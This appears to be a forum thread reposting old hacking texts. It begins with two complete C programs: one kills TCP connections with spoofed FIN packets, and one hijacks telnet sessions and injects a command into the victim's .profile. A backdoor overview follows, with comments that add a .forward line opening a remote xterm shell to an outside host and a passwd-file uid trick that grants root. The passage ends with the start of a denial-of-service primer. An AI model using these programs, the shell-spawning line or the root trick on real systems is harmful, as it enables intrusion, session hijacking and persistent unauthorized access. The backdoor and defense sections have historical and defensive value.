    /**************************************************************************/
    /* Sniper-fin - Example program on connection killing with IP spoofing */
    /* using the FIN flag. */
    /* (illustration for 'A short overview of IP spoofing') */
    /* */
    /* Purpose - Killing any TCP connection on your subnet */
    /* */
    /* Author - Brecht Claerhout &lt;Coder@reptile.rug.ac.be&gt; */
    /* Serious advice, comments, statements, greets, always welcome */
    /* flames, moronic 3l33t &gt;/dev/null */
    /* */
    /* Disclaimer - This program is for educational purposes only. I am in */
    /* NO way responsible for what you do with this program, */
    /* or any damage you or this program causes. */
    /* */
    /* For whom - People with a little knowledge of TCP/IP, C source code */
    /* and general UNIX. Otherwise, please keep your hands of, */
    /* and catch up on those things first. */
    /* */
    /* Limited to - Linux 1.3.X or higher. */
    /* ETHERNET support ("eth0" device) */
    /* If you network configuration differs it shouldn't be to */
    /* hard to modify yourself. I got it working on PPP too, */
    /* but I'm not including extra configuration possibilities */
    /* because this would overload this first release that is */
    /* only a demonstration of the mechanism. */
    /* Anyway if you only have ONE network device (slip, */
    /* ppp,... ) after a quick look at this code and spoofit.h */
    /* it will only take you a few secs to fix it... */
    /* People with a bit of C knowledge and well known with */
    /* their OS shouldn't have to much trouble to port the code.*/
    /* If you do, I would love to get the results. */
    /* */
    /* Compiling - gcc -o sniper-fin sniper-fin.c */
    /* */
    /* Usage - Usage described in the spoofing article that came with this. */
    /* If you didn't get this, try to get the full release... */
    /* */
    /* See also - Sniffit (for getting the necessairy data on a connection) */
    /**************************************************************************/

    #include "spoofit.h"

    /* Those 2 'defines' are important for putting the receiving device in */
    /* PROMISCUOUS mode */
    #define INTERFACE "eth0"
    #define INTERFACE_PREFIX 14

    char SOURCE[100],DEST[100];
    int SOURCE_P,DEST_P;

    void main(int argc, char *argv[])
    {
    int i,stat;
    int fd_send, fd_receive;
    unsigned long sp_ack, sp_seq;
    unsigned short flags;
    struct sp_wait_packet pinfo;

    if(argc != 5)
    {
    printf("usage: %s host1 port1 host2 port2\n",argv[0]);
    exit(0);
    }

    /* preparing some work */
    DEV_PREFIX = INTERFACE_PREFIX;
    strcpy(SOURCE,argv[1]);
    SOURCE_P=atoi(argv[2]);
    strcpy(DEST,argv[3]);
    DEST_P=atoi(argv[4]);

    /* opening sending and receiving sockets */
    fd_send = open_sending();
    fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */

    for(i=1;i&lt;100;i++)
    {
    printf("Attack Sequence %d.\n",i);
    /* Waiting for a packet containing an ACK */
    stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10);
    if(stat==-1) {printf("Connection 10 secs idle... timeout.\n");exit(1);}
    sp_seq=pinfo.ack;
    sp_ack=pinfo.seq+pinfo.datalen;
    /* Sending our fake Packet */
    transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,sp_seq,sp_ack,ACK|FIN);
    /* waiting for confirmation */
    stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5);
    if(stat&gt;=0)
    {
    printf("Killed the connection...\n");
    exit(0);
    }
    printf("Hmmmm.... no response detected... (retry)\n");
    }
    printf("I did not succeed in killing it.\n");
    }

    ------------------------------------------------------------------------------

    ---=[ hijack.c ]=-------------------------------------------------------------
    /**************************************************************************/
    /* Hijack - Example program on connection hijacking with IP spoofing */
    /* (illustration for 'A short overview of IP spoofing') */
    /* */
    /* Purpose - taking control of a running telnet session, and executing */
    /* our own command in that shell. */
    /* */
    /* Author - Brecht Claerhout &lt;Coder@reptile.rug.ac.be&gt; */
    /* Serious advice, comments, statements, greets, always welcome */
    /* flames, moronic 3l33t &gt;/dev/null */
    /* */
    /* Disclaimer - This program is for educational purposes only. I am in */
    /* NO way responsible for what you do with this program, */
    /* or any damage you or this program causes. */
    /* */
    /* For whom - People with a little knowledge of TCP/IP, C source code */
    /* and general UNIX. Otherwise, please keep your hands of, */
    /* and catch up on those things first. */
    /* */
    /* Limited to - Linux 1.3.X or higher. */
    /* ETHERNET support ("eth0" device) */
    /* If you network configuration differs it shouldn't be to */
    /* hard to modify yourself. I got it working on PPP too, */
    /* but I'm not including extra configuration possibilities */
    /* because this would overload this first release that is */
    /* only a demonstration of the mechanism. */
    /* Anyway if you only have ONE network device (slip, */
    /* ppp,... ) after a quick look at this code and spoofit.h */
    /* it will only take you a few secs to fix it... */
    /* People with a bit of C knowledge and well known with */
    /* their OS shouldn't have to much trouble to port the code.*/
    /* If you do, I would love to get the results. */
    /* */
    /* Compiling - gcc -o hijack hijack.c */
    /* */
    /* Usage - Usage described in the spoofing article that came with this. */
    /* If you didn't get this, try to get the full release... */
    /* */
    /* See also - Sniffit (for getting the necessairy data on a connection) */
    /**************************************************************************/

    #include "spoofit.h" /* My spoofing include.... read licence on this */

    /* Those 2 'defines' are important for putting the receiving device in */
    /* PROMISCUOUS mode */
    #define INTERFACE "eth0" /* first ethernet device */
    #define INTERFACE_PREFIX 14 /* 14 bytes is an ethernet header */

    #define PERSONAL_TOUCH 666

    int fd_receive, fd_send;
    char CLIENT[100],SERVER[100];
    int CLIENT_P;

    void main(int argc, char *argv[])
    {
    int i,j,count;
    struct sp_wait_packet attack_info;
    unsigned long sp_seq ,sp_ack;
    unsigned long old_seq ,old_ack;
    unsigned long serv_seq ,serv_ack;

    /* This data used to clean up the shell line */
    char to_data[]={0x08, 0x08,0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x0a, 0x0a};
    char evil_data[]="echo \"echo HACKED\" &gt;&gt;$HOME/.profile\n";

    if(argc!=4)
    {
    printf("Usage: %s client client_port server\n",argv[0]);
    exit(1);
    }
    strcpy(CLIENT,argv[1]);
    CLIENT_P=atoi(argv[2]);
    strcpy(SERVER,argv[3]);

    /* preparing all necessary sockets (sending + receiving) */
    DEV_PREFIX = INTERFACE_PREFIX;
    fd_send = open_sending();
    fd_receive = open_receiving(INTERFACE, 0); /* normal BLOCKING mode */

    printf("Starting Hijacking demo - Brecht Claerhout 1996\n");
    printf("-----------------------------------------------\n");

    for(j=0;j&lt;50;j++)
    {
    printf("\nTakeover phase 1: Stealing connection.\n");
    wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|PSH,0);
    sp_seq=attack_info.seq+attack_info.datalen;
    sp_ack=attack_info.ack;
    printf(" Sending Spoofed clean-up data...\n");
    transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER,23,
    sp_seq,sp_ack,ACK|PSH);
    /* NOTE: always beware you receive y'r OWN spoofed packs! */
    /* so handle it if necessary */
    count=0;
    printf(" Waiting for spoof to be confirmed...\n");
    while(count&lt;5)
    {
    wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
    if(attack_info.ack==sp_seq+sizeof(to_data))
    count=PERSONAL_TOUCH;
    else count++;
    };
    if(count!=PERSONAL_TOUCH)
    {printf("Phase 1 unsuccesfully ended.\n");}
    else {printf("Phase 1 ended.\n"); break;};
    };

    printf("\nTakeover phase 2: Getting on track with SEQ/ACK's again\n");
    count=serv_seq=old_ack=0;
    while(count&lt;10)
    {
    old_seq=serv_seq;
    old_ack=serv_ack;
    wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P, ACK,0);
    if(attack_info.datalen==0)
    {
    serv_seq=attack_info.seq+attack_info.datalen;
    serv_ack=attack_info.ack;
    if( (old_seq==serv_seq)&&(serv_ack==old_ack) )
    count=PERSONAL_TOUCH;
    else count++;
    }
    };
    if(count!=PERSONAL_TOUCH)
    {printf("Phase 2 unsuccesfully ended.\n"); exit(0);}
    printf(" Server SEQ: %X (hex) ACK: %X (hex)\n",serv_seq,serv_ack);
    printf("Phase 2 ended.\n");

    printf("\nTakeover phase 3: Sending MY data.\n");
    printf(" Sending evil data.\n");
    transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P,
    SERVER,23,serv_ack,serv_seq,ACK|PSH);
    count=0;
    printf(" Waiting for evil data to be confirmed...\n");
    while(count&lt;5)
    {
    wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
    if(attack_info.ack==serv_ack+sizeof(evil_data))
    count=PERSONAL_TOUCH;
    else count++;
    };
    if(count!=PERSONAL_TOUCH)
    {printf("Phase 3 unsuccesfully ended.\n"); exit(0);}
    printf("Phase 3 ended.\n");

    }

    ------------------------------------------------------------------------------


    ___________________________________________________________________________

  3. #3
    Senior Member gore's Avatar
    Join Date
    Oct 2002
    Location
    Michigan
    Posts
    7,177
    Part 3:

    Back Doors:

    Backdoors

    By Christopher Klaus 8/4/97


    Since the early days of intruders breaking into computers, they have tried
    to develop techniques or backdoors that allow them to get back into the
    system. In this paper, it will be focused on many of the common backdoors
    and possible ways to check for them. Most of focus will be on Unix
    backdoors with some discussion on future Windows NT backdoors. This will
    describe the complexity of the issues in trying to determine the methods
    that intruders use and the basis for administrators understanding on how
    they might be able to stop the intruders from getting back in. When an
    administrator understands how difficult it would be to stop intruder once
    they are in, the appreciation of being proactive to block the intruder from
    ever getting in becomes better understood. This is intended to cover many
    of the popular commonly used backdoors by beginner and advanced intruders.
    This is not intended to cover every possible way to create a backdoor as
    the possibilities are limitless.

    The backdoor for most intruders provide two or three main functions:

    Be able to get back into a machine even if the administrator tries to
    secure it, e.g., changing all the passwords.

    Be able to get back into the machine with the least amount of visibility.
    Most backdoors provide a way to avoid being logged and many times the
    machine can appear to have no one online even while an intruder is using
    it.

    Be able to get back into the machine with the least amount of time. Most
    intruders want to easily get back into the machine without having to do all
    the work of exploiting a hole to gain access.

    In some cases, if the intruder may think the administrator may detect any
    installed backdoor, they will resort to using the vulnerability repeatedly
    to get on a machine as the only backdoor. Thus not touching anything that
    may tip off the administrator. Therefore in some cases, the
    vulnerabilities on a machine remain the only unnoticed backdoor.


    Password Cracking Backdoor

    One of the first and oldest methods of intruders used to gain not only
    access to a Unix machine but backdoors was to run a password cracker. This
    uncovers weak passworded accounts. All these new accounts are now possible
    backdoors into a machine even if the system administrator locks out the
    intruder's current account. Many times, the intruder will look for unused
    accounts with easy passwords and change the password to something
    difficult. When the administrator looked for all the weak passworded
    accounts, the accounts with modified passwords will not appear. Thus the
    administrator will not be able to easily determine which accounts to lock
    out.

    Rhosts + + Backdoor

    On networked Unix machines, services like Rsh and Rlogin used a simple
    authentication method based on hostnames that appear in rhosts. A user
    could easily configure which machines not to require a password to log
    into. An intruder that gained access to someone's rhosts file could put a
    "+ +" in the file and that would allow anyone from anywhere to log into
    that account without a password. Many intruders use this method especially
    when NFS is exporting home directories to the world. These accounts
    become backdoors for intruders to get back into the system. Many intruders
    prefer using Rsh over Rlogin because it is many times lacking any logging
    capability. Many administrators check for "+ +" therefore an intruder may
    actually put in a hostname and username from another compromised account on
    the network, making it less obvious to spot.

    Checksum and Timestamp Backdoors

    Early on, many intruders replaced binaries with their own trojan versions.
    Many system administrators relied on time-stamping and the system checksum
    programs, e.g., Unix's sum program, to try to determine when a binary file
    has been modified. Intruders have developed technology that will recreate
    the same time-stamp for the trojan file as the original file. This is
    accomplished by setting the system clock time back to the original file's
    time and then adjusting the trojan file's time to the system clock. Once
    the binary trojan file has the exact same time as the original, the system
    clock is reset to the current time. The sum program relies on a CRC
    checksum and is easily spoofed. Intruders have developed programs that
    would modify the trojan binary to have the necessary original checksum,
    thus fooling the administrators. MD5 checksums is the recommended choice
    to use today by most vendors. MD5 is based on an algorithm that no one has
    yet to date proven can be spoofed.

    Login Backdoor

    On Unix, the login program is the software that usually does the password
    authentication when someone telnets to the machine. Intruders grabbed the
    source code to login.c and modified it that when login compared the user's
    password with the stored password, it would first check for a backdoor
    password. If the user typed in the backdoor password, it would allow you to
    log in regardless of what the administrator sets the passwords to. Thus
    this allowed the intruder to log into any account, even root. The
    password backdoor would spawn access before the user actually logged in and
    appeared in utmp and wtmp. Therefore an intruder could be logged in and
    have shell access without it appearing anyone is on that machine as that
    account. Administrators started noticing these backdoors especially if
    they did a "strings" command to find what text was in the login program.
    Many times the backdoor password would show up. The intruders then
    encrypted or hid the backdoor password better so it would not appear by
    just doing strings. Many of the administrators can detect these backdoors
    with MD5 checksums.

    Telnetd Backdoor

    When a user telnets to the machine, inetd service listens on the port and
    receive the connection and then passes it to in.telnetd, that then runs
    login. Some intruders knew the administrator was checking the login
    program for tampering, so they modified in.telnetd. Within in.telnetd, it
    does several checks from the user for things like what kind of terminal the
    user was using. Typically, the terminal setting might be Xterm or VT100.
    An intruder could backdoor it so that when the terminal was set to
    "letmein", it would spawn a shell without requiring any authentication.
    Intruders have backdoored some services so that any connection from a
    specific source port can spawn a shell.

    Services Backdoor

    Almost every network service has at one time been backdoored by an
    intruder. Backdoored versions of finger, rsh, rexec, rlogin, ftp, even
    inetd, etc., have been floating around forever. There are programs that
    are nothing more than a shell connected to a TCP port with maybe a backdoor
    password to gain access. These programs sometimes replace a service like
    uucp that never gets used or they get added to the inetd.conf file as a new
    service. Administrators should be very wary of what services are running
    and analyze the original services by MD5 checksums.

    Cronjob backdoor

    Cronjob on Unix schedules when certain programs should be run. An intruder
    could add a backdoor shell program to run between 1 AM and 2 AM. So for 1
    hour every night, the intruder could gain access. Intruders have also
    looked at legitimate programs that typically run in cronjob and built
    backdoors into those programs as well.

    Library backdoors

    Almost every UNIX system uses shared libraries. The shared libraries are
    intended to reuse many of the same routines thus cutting down on the size
    of programs. Some intruders have backdoored some of the routines like
    crypt.c and _crypt.c. Programs like login.c would use the crypt() routine
    and if a backdoor password was used it would spawn a shell. Therefore,
    even if the administrator was checking the MD5 of the login program, it was
    still spawning a backdoor routine and many administrators were not checking
    the libraries as a possible source of backdoors.

    One problem for many intruders was that some administrators started MD5
    checksums of almost everything. One method intruders used to get around
    that is to backdoor the open() and file access routines. The backdoor
    routines were configured to read the original files, but execute the trojan
    backdoors. Therefore, when the MD5 checksum program was reading these
    files, the checksums always looked good. But when the system ran the
    program, it executed the trojan version. Even the trojan library itself,
    could be hidden from the MD5 checksums. One way to an administrator could
    get around this backdoor was to statically link the MD5 checksum checker
    and run on the system. The statically linked program does not use the
    trojan shared libraries.

    Kernel backdoors

    The kernel on Unix is the core of how Unix works. The same method used for
    libraries for bypassing MD5 checksum could be used at the kernel level,
    except even a statically linked program could not tell the difference. A
    good backdoored kernel is probably one of the hardest to find by
    administrators, fortunately kernel backdoor scripts have not yet been
    widely made available and no one knows how wide spread they really are.

    File system backdoors

    An intruder may want to store their loot or data on a server somewhere
    without the administrator finding the files. The intruder's files can
    typically contain their toolbox of exploit scripts, backdoors, sniffer
    logs, copied data like email messages, source code, etc. To hide these
    sometimes large files from an administrator, an intruder may patch the
    files system commands like "ls", "du", and "fsck" to hide the existence of
    certain directories or files. At a very low level, one intruder's backdoor
    created a section on the hard drive to have a proprietary format that was
    designated as "bad" sectors on the hard drive. Thus an intruder could
    access those hidden files with only special tools, but to the regular
    administrator, it is very difficult to determine that the marked "bad"
    sectors were indeed storage area for the hidden file system.

    Bootblock backdoors

    In the PC world, many viruses have hid themselves within the bootblock
    section and most antivirus software will check to see if the bootblock has
    been altered. On Unix, most administrators do not have any software that
    checks the bootblock, therefore some intruders have hidden some backdoors
    in the bootblock area.

    Process hiding backdoors

    An intruder many times wants to hide the programs they are running. The
    programs they want to hide are commonly a password cracker or a sniffer.
    There are quite a few methods and here are some of the more common:

    An intruder may write the program to modify its own argv[] to make it look
    like another process name.

    An intruder could rename the sniffer program to a legitimate service like
    in.syslog and run it. Thus when an administrator does a "ps" or looks at
    what is running, the standard service names appear.

    An intruder could modify the library routines so that "ps" does not show
    all the processes.

    An intruder could patch a backdoor or program into an interrupt driven
    routine so it does not appear in the process table. An example backdoor
    using this technique is amod.tar.gz available on
    http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html

    An intruder could modify the kernel to hide certain processes as well.

    Rootkit

    One of the most popular packages to install backdoors is rootkit. It can
    easily be located using Web search engines. From the Rootkit README, here
    are the typical files that get installed:

    z2 - removes entries from utmp, wtmp, and lastlog.
    Es - rokstar's ethernet sniffer for sun4 based kernels.
    Fix - try to fake checksums, install with same dates/perms/u/g.
    Sl - become root via a magic password sent to login.
    Ic - modified ifconfig to remove PROMISC flag from output.
    ps: - hides the processes.
    Ns - modified netstat to hide connections to certain machines.
    Ls - hides certain directories and files from being listed.
    du5 - hides how much space is being used on your hard drive.
    ls5 - hides certain files and directories from being listed.


    Network traffic backdoors

    Not only do intruders want to hide their tracks on the machine, but also
    they want to hide their network traffic as much as possible. These network
    traffic backdoors sometimes allow an intruder to gain access through a
    firewall. There are many network backdoor programs that allow an intruder
    to set up on a certain port number on a machine that will allow access
    without ever going through the normal services. Because the traffic is
    going to a non-standard network port, the administrator can overlook the
    intruder's traffic. These network traffic backdoors are typically using
    TCP, UDP, and ICMP, but it could be many other kinds of packets.

    TCP Shell Backdoors

    The intruder can set up these TCP Shell backdoors on some high port number
    possibly where the firewall is not blocking that TCP port. Many times,
    they will be protected with a password just so that an administrator that
    connects to it, will not immediately see shell access. An administrator
    can look for these connections with netstat to see what ports are listening
    and where current connections are going to and from. Many times, these
    backdoors allow an intruder to get past TCP Wrapper technology. These
    backdoors could be run on the SMTP port, which many firewalls allow traffic
    to pass for e-mail.

    UDP Shell Backdoors

    Administrator many times can spot a TCP connection and notice the odd
    behavior, while UDP shell backdoors lack any connection so netstat would
    not show an intruder accessing the Unix machine. Many firewalls have been
    configured to allow UDP packets for services like DNS through. Many times,
    intruders will place the UDP Shell backdoor on that port and it will be
    allowed to by-pass the firewall.

    ICMP Shell Backdoors

    Ping is one of the most common ways to find out if a machine is alive by
    sending and receiving ICMP packets. Many firewalls allow outsiders to ping
    internal machines. An intruder can put data in the Ping ICMP packets and
    tunnel a shell between the pinging machines. An administrator may notice a
    flurry of Ping packets, but unless the administrator looks at the data in
    the packets, an intruder can be unnoticed.

    Encrypted Link

    An administrator can set up a sniffer trying to see data appears as someone
    accessing a shell, but an intruder can add encryption to the Network
    traffic backdoors and it becomes almost impossible to determine what is
    actually being transmitted between two machines.

    Windows NT

    Because Windows NT does not easily allow multiple users on a single machine
    and remote access similar as Unix, it becomes harder for the intruder to
    break into Windows NT, install a backdoor, and launch an attack from it.
    Thus you will find more frequently network attacks that are spring boarded
    from a Unix box than Windows NT. As Windows NT advances in multi-user
    technologies, this may give a higher frequency of intruders who use Windows
    NT to their advantage. And if this does happen, many of the concepts from
    Unix backdoors can be ported to Windows NT and administrators can be ready
    for the intruder. Today, there are already telnet daemons available for
    Windows NT. With Network Traffic backdoors, they are very feasible for
    intruders to install on Windows NT.

    Solutions

    As backdoor technology advances, it becomes even harder for administrators
    to determine if an intruder has gotten in or if they have been successfully
    locked out.

    Assessment

    One of the first steps in being proactive is to assess how vulnerable your
    network is, thus being able to figure out what holes exist that should be
    fixed. Many commercial tools exist to help scan and audit the network and
    systems for vulnerabilities. Many companies could dramatically improve
    their security if they only installed the security patches made freely
    available by their vendors.

    MD5 Baselines

    One necessary component of a system scanner is MD5 checksum baselines.
    This MD5 baseline should be built up before a hacker attack with clean
    systems. Once a hacker is in and has installed backdoors, trying to create
    a baseline after the fact could incorporate the backdoors into the
    baseline. Several companies had been hacked and had backdoors installed on
    their systems for many months. Overtime, all the backups of the systems
    contained the backdoors. When some of these companies found out they had
    a hacker, they restored a backup in hopes of removing any backdoors. The
    effort was futile since they were restoring all the files, even the
    backdoored ones. The binary baseline comparison needs to be done before an
    attack happens.

    Intrusion detection

    Intrusion detection is becoming more important as organizations are hooking
    up and allowing connections to some of their machines. Most of the older
    intrusion detection technology was log-based events. The latest intrusion
    detection system (IDS) technology is based on real-time sniffing and
    network traffic security analysis. Many of the network traffic backdoors
    can now easily be detected. The latest IDS technology can take a look at
    the DNS UDP packets and determine if it matches the DNS protocol requests.
    If the data on the DNS port does not match the DNS protocol, an alert flag
    can be signaled and the data captured for further analysis. The same
    principle can be applied to the data in an ICMP packet to see if it is the
    normal ping data or if it is carrying encrypted shell session.

    Boot from CD-ROM.

    Some administrators may want to consider booting from CD-ROM thus
    eliminating the possibility of an intruder installing a backdoor on the
    CD-ROM. The problem with this method is the cost and time of implementing
    this solution enterprise wide.

    Vigilant

    Because the security field is changing so fast, with new vulnerabilities
    being announced daily and intruders are constantly designing new attack and
    backdoor techniques, no security technology is effective without vigilance.

    Be aware that no defense is foolproof, and that there is no substitute for
    diligent attention.

    -------------------------------------------------------------------------


    you may want to add:

    .forward Backdoor

    On Unix machines, placing commands into the .forward file was also
    a common method of regaining access. For the account ``username''
    a .forward file might be constructed as follows:

    \username
    |"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh"

    permutations of this method include alteration of the systems mail
    aliases file (most commonly located at /etc/aliases). Note that
    this is a simple permutation, the more advanced can run a simple
    script from the forward file that can take arbitrary commands via
    stdin (after minor preprocessing).

    PS: The above method is also useful gaining access a companies
    mailhub (assuming there is a shared a home directory FS on
    the client and server).

    &gt; Using smrsh can effectively negate this backdoor (although it's quite
    &gt; possibly still a problem if you allow things like elm's filter or
    &gt; procmail which can run programs themselves...).


    ---------------------------------------------------------------------------


    you may want to add this "feature" that can act as a backdoor:

    when specifying a wrong uid/gid in the /etc/password file,
    most login(1) implementations will fail to detect the wrong
    uid/gid and atoi(3) will set uid/gid to 0, giving superuser
    privileges.

    example:
    rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh
    on Linux boxes, this will give uid 0 to user rmartin.


    ___________________________________________________________________________

    An intro to DOS attacks:

    ===================================
    =INTRODUCTION TO DENIAL OF SERVICE=
    ===================================

    Hans Husman
    t95hhu@student.tdb.uu.se
    Last updated: Mon Oct 28 14:56:31 MET 1996

    .0. FOREWORD

    .A. INTRODUCTION
    .A.1. WHAT IS A DENIAL OF SERVICE ATTACK?
    .A.2. WHY WOULD SOMEONE CRASH A SYSTEM?
    .A.2.1. INTRODUCTION
    .A.2.2. SUB-CULTURAL STATUS
    .A.2.3. TO GAIN ACCESS
    .A.2.4. REVENGE
    .A.2.5. POLITICAL REASONS
    .A.2.6. ECONOMICAL REASONS
    .A.2.7. NASTINESS
    .A.3. ARE SOME OPERATING SYSTEMS MORE SECURE?

    .B. SOME BASIC TARGETS FOR AN ATTACK
    .B.1. SWAP SPACE
    .B.2. BANDWIDTH
    .B.3. KERNEL TABLES
    .B.4. RAM
    .B.5. DISKS
    .B.6. CACHES
    .B.7. INETD

    .C. ATTACKING FROM THE OUTSIDE
    .C.1. TAKING ADVANTAGE OF FINGER
    .C.2. UDP AND SUNOS 4.1.3.
    .C.3. FREEZING UP X-WINDOWS
    .C.4. MALICIOUS USE OF UDP SERVICES
    .C.5. ATTACKING WITH LYNX CLIENTS
    .C.6. MALICIOUS USE OF telnet
    .C.7. MALICIOUS USE OF telnet UNDER SOLARIS 2.4
    .C.8. HOW TO DISABLE ACCOUNTS
    .C.9. LINUX AND TCP TIME, DAYTIME
    .C.10. HOW TO DISABLE SERVICES
    .C.11. PARAGON OS BETA R1.4
    .C.12. NOVELLS NETWARE FTP
    .C.13. ICMP REDIRECT ATTACKS
    .C.14. BROADCAST STORMS
    .C.15. EMAIL BOMBING AND SPAMMING
    .C.16. TIME AND KERBEROS
    .C.17. THE DOT DOT BUG
    .C.18. SUNOS KERNEL PANIC
    .C.19. HOSTILE APPLETS
    .C.20. VIRUS
    .C.21. ANONYMOUS FTP ABUSE
    .C.22. SYN FLOODING
    .C.23. PING FLOODING
    .C.24. CRASHING SYSTEMS WITH PING FROM WINDOWS 95 MACHINES
    .C.25. MALICIOUS USE OF SUBNET MASK REPLY MESSAGE
    .C.26. FLEXlm
    .C.27. BOOTING WITH TRIVIAL FTP

    .D. ATTACKING FROM THE INSIDE
    .D.1. KERNEL PANIC UNDER SOLARIS 2.3
    .D.2. CRASHING THE X-SERVER
    .D.3. FILLING UP THE HARD DISK
    .D.4. MALICIOUS USE OF eval
    .D.5. MALICIOUS USE OF fork()
    .D.6. CREATING FILES THAT IS HARD TO REMOVE
    .D.7. DIRECTORY NAME LOOKUPCACHE
    .D.8. CSH ATTACK
    .D.9. CREATING FILES IN /tmp
    .D.10. USING RESOLV_HOST_CONF
    .D.11. SUN 4.X AND BACKGROUND JOBS
    .D.12. CRASHING DG/UX WITH ULIMIT
    .D.13. NETTUNE AND HP-UX
    .D.14. SOLARIS 2.X AND NFS
    .D.15. SYSTEM STABILITY COMPROMISE VIA MOUNT_UNION
    .D.16. trap_mon CAUSES KERNEL PANIC UNDER SUNOS 4.1.X

    .E. DUMPING CORE
    .E.1. SHORT COMMENT
    .E.2. MALICIOUS USE OF NETSCAPE
    .E.3. CORE DUMPED UNDER WUFTPD
    .E.4. ld UNDER SOLARIS/X86

    .F. HOW DO I PROTECT A SYSTEM AGAINST DENIAL OF SERVICE ATTACKS?
    .F.1. BASIC SECURITY PROTECTION
    .F.1.1. INTRODUCTION
    .F.1.2. PORT SCANNING
    .F.1.3. CHECK THE OUTSIDE ATTACKS DESCRIBED IN THIS PAPER
    .F.1.4. CHECK THE INSIDE ATTACKS DESCRIBED IN THIS PAPER
    .F.1.5. EXTRA SECURITY SYSTEMS
    .F.1.6. MONITORING SECURITY
    .F.1.7. KEEPING UP TO DATE
    .F.1.8. READ SOMETHING BETTER
    .F.2. MONITORING PERFORMANCE
    .F.2.1. INTRODUCTION
    .F.2.2. COMMANDS AND SERVICES
    .F.2.3. PROGRAMS
    .F.2.4. ACCOUNTING

    .G. SUGGESTED READING
    .G.1. INFORMATION FOR DEEPER KNOWLEDGE
    .G.2. KEEPING UP TO DATE INFORMATION
    .G.3. BASIC INFORMATION

    .H. COPYRIGHT

    .I. DISCLAIMER

    .0. FOREWORD
    ------------

    In this paper I have tried to answer the following questions:

    - What is a denial of service attack?
    - Why would someone crash a system?
    - How can someone crash a system.
    - How do I protect a system against denial of service attacks?

    I also have a section called SUGGESTED READING were you can find
    information about good free information that can give you a deeper
    understanding about something.

    Note that I have a very limited experience with Macintosh, OS/2 and
    Windows and most of the material are therefore for Unix use.

    You can always find the latest version at the following address:
    http://www.student.tdb.uu.se/~t95hhu...ial/DENIAL.TXT

    Feel free to send comments, tips and so on to address:
    t95hhu@student.tdb.uu.se

    .A. INTRODUCTION
    ~~~~~~~~~~~~~~~~

    .A.1. WHAT IS A DENIAL OF SERVICE ATTACK?
    -----------------------------------------

    Denial of service is about without permission knocking off
    services, for example through crashing the whole system. This
    kind of attacks are easy to launch and it is hard to protect
    a system against them. The basic problem is that Unix
    assumes that users on the system or on other systems will be
    well behaved.

    .A.2. WHY WOULD SOMEONE CRASH A SYSTEM?
    ---------------------------------------

    .A.2.1. INTRODUCTION
    --------------------

    Why would someone crash a system? I can think of several reasons
    that I have presentated more precisely in a section for each reason,
    but for short:

    .1. Sub-cultural status.
    .2. To gain access.
    .3. Revenge.
    .4. Political reasons.
    .5. Economical reasons.
    .6. Nastiness.

    I think that number one and six are the more common today, but that
    number four and five will be the more common ones in the future.

    .A.2.2. SUB-CULTURAL STATUS
    ---------------------------

    After all information about syn flooding a bunch of such attacks
    were launched around Sweden. The very most of these attacks were
    not a part of a IP-spoof attack, it was "only" a denial of service
    attack. Why?

    I think that hackers attack systems as a sub-cultural pseudo career
    and I think that many denial of service attacks, and here in the
    example syn flooding, were performed for these reasons. I also think
    that many hackers begin their carrer with denial of service attacks.

    .A.2.3. TO GAIN ACCESS
    ----------------------

    Sometimes could a denial of service attack be a part of an attack to
    gain access at a system. At the moment I can think of these reasons
    and specific holes:

    .1. Some older X-lock versions could be crashed with a
    method from the denial of service family leaving the system
    open. Physical access was needed to use the work space after.

    .2. Syn flooding could be a part of a IP-spoof attack method.

    .3. Some program systems could have holes under the startup,
    that could be used to gain root, for example SSH (secure shell).

    .4. Under an attack it could be usable to crash other machines
    in the network or to deny certain persons the ability to access
    the system.

    .5. Also could a system being booted sometimes be subverted,
    especially rarp-boots. If we know which port the machine listen
    to (69 could be a good guess) under the boot we can send false
    packets to it and almost totally control the boot.

    .A.2.4. REVENGE
    ---------------

    A denial of service attack could be a part of a revenge against a user
    or an administrator.

    .A.2.5. POLITICAL REASONS
    -------------------------

    Sooner or later will new or old organizations understand the potential
    of destroying computer systems and find tools to do it.

    For example imaginate the Bank A loaning company B money to build a
    factory threating the environment. The organization C therefor crash A:s
    computer system, maybe with help from an employee. The attack could cost
    A a great deal of money if the timing is right.

    .A.2.6. ECONOMICAL REASONS
    --------------------------

    Imaginate the small company A moving into a business totally dominated by
    company B. A and B customers make the orders by computers and depends
    heavily on that the order is done in a specific time (A and B could be
    stock trading companies). If A and B can't perform the order the customers
    lose money and change company.

    As a part of a business strategy A pays a computer expert a sum of money to
    get him to crash B:s computer systems a number of times. A year later A
    is the dominating company.

    .A.2.7. NASTINESS
    -----------------

    I know a person that found a workstation where the user had forgotten to
    logout. He sat down and wrote a program that made a kill -9 -1 at a
    random time at least 30 minutes after the login time and placed a call to
    the program from the profile file. That is nastiness.

    .A.3. ARE SOME OPERATING SYSTEMS MORE SECURE?
    ---------------------------------------------

    This is a hard question to answer and I don't think that it will
    give anything to compare different Unix platforms. You can't say that
    one Unix is more secure against denial of service, it is all up to the
    administrator.

    A comparison between Windows 95 and NT on one side and Unix on the
    other could however be interesting.

    Unix systems are much more complex and have hundreds of built in programs,
    services... This always open up many ways to crash the system from
    the inside.

    In the normal Windows NT and 95 network were is few ways to crash
    the system. Although were is methods that always will work.

    That gives us that no big different between Microsoft and Unix can
    be seen regardning the inside attacks. But there is a couple of
    points left:

    - Unix have much more tools and programs to discover an
    attack and monitoring the users. To watch what another user
    is up to under windows is very hard.

    - The average Unix administrator probably also have much more
    experience than the average Microsoft administrator.

    The two last points gives that Unix is more secure against inside
    denial of service attacks.

